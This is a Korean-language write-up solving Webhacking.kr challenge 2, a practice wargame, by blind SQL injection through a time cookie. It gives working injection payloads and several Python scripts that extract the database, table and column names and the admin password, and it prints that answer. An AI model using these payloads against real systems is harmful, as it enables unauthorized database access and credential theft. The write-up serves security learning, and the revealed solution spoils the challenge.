Webhacking.kr 2번 문제풀이
문제의 페이지 소스를 보시면 힌트를 얻을 수 있는 단서를 찾을 수 있습니다.
1번 힌트 : 시간
2번 힌트 : admin.php가 존재
힌트를 활용하기 위해 EditThisCookie를 이용하여 쿠키값을 확인해본 결과
쿠키값이 유닉스 타임스탬프(접속 시간)를 가리키는 것을 알고 변환해주면 쿠키값이 시간을 나타낸다는 것을 알 수 있습니다.
그렇다면 쿠키값에 SQL injection을 시도해보겠습니다.
SQL Injection을 통해 항상 거짓인 값과 항상 참인 값을 시도해 보았을 때, 시간의 결과 값이 다른 것으로 보아
참과 거짓 값을 비교해 데이터베이스 정보를 추측할 수 있는 Blind SQL Injection을 시도할 수 있다는 것을 알게 되었습니다.
EditThisCookie를 사용하여 Cookie값을 변조하면서 결과값으로 데이터를 정보를 알아낸다.
1. 테이블 수 추출
: (select count(table_name) from information_schema.tables where table_schema=database())
* information_schema.tables : 데이터베이스에 있는 모든 테이블 정보를 가지고 있는 테이블
09:00:02 인 것으로 보아 테이블 개수는 2개로 확인됩니다.
2. 테이블 길이 추출
: (select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
* limit pos, len : 출력 레코드의 개수를 제한하는 함수로 pos는 시작 행을 의미하며 0부터 시작, len은 개수를 의미한다. limit 0,1은 첫 번째부터 1개의 레코드를 의미하며, pos값을 1씩 증가시키면 다음 레코드를 하나씩 순서대로 추출할 수 있다.
09:00:13 인 것으로 보아 첫 번째 테이블은 13자리 인 것으로 확인됩니다.
3. 테이블 명 추출
(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)
* substr(문자열, pos, len) : 문자열을 pos부터 len만큼 부분 문자열을 추출하는 함수로 pos는 1부터 시작한다. pos값을 1씩 증가시키면 테이블명 문자를 하나씩 순서대로 추출할 수 있다.
09:01:37 인 것으로 보아 1분 37초 -> 97초 아스키코드 97 -> 'a'인 것으로 확인됩니다.
=> 이렇게 노가다를 하여서 값을 추출하여도 되지만 시간이 너무 오래 걸리기 때문에 파이썬을 사용해서 나머지 데이터들을 추출해보도록 하겠습니다.
* 주의
- 웹 크롤링이기 때문에 파이썬 결과값 도출에 시간이 소요됩니다.
- requests 모듈은 별도로 설치해줘야 합니다.
1. DB 명 출력 (chall2)
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)}
#ord(c) : 문자의 아스키 코드 값을 돌려주는 함수 / chr 함수와 반대
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
db+=chr(k)
break
if k == 132:
ck =1
print("Database : {}".format(db))
2. 테이블명 출력 (admin_area_pw, log)
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME)"
"FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
table+=chr(k)
break
if k == 132:
ck =1
print("Table : {}".format(table))
3. 컬럼명 출력 (admin_area_pw : pw)
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME)"
"FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
columns+=chr(k)
break
if k == 132:
ck =1
print("COLUMN : {}".format(columns))
4. 패스워드 출력 ( kudos_to_beistlab )
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 ||"
" if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
pw+=chr(k)
break
if k == 132:
ck =1
print("Password : {}".format(pw))
5. 추출한 패스워드를 https://webhacking.kr/challenge/web-02/admin.php 에 패스워드 입력창에 입력 하게되면 성공하게 됩니다.
감사합니다.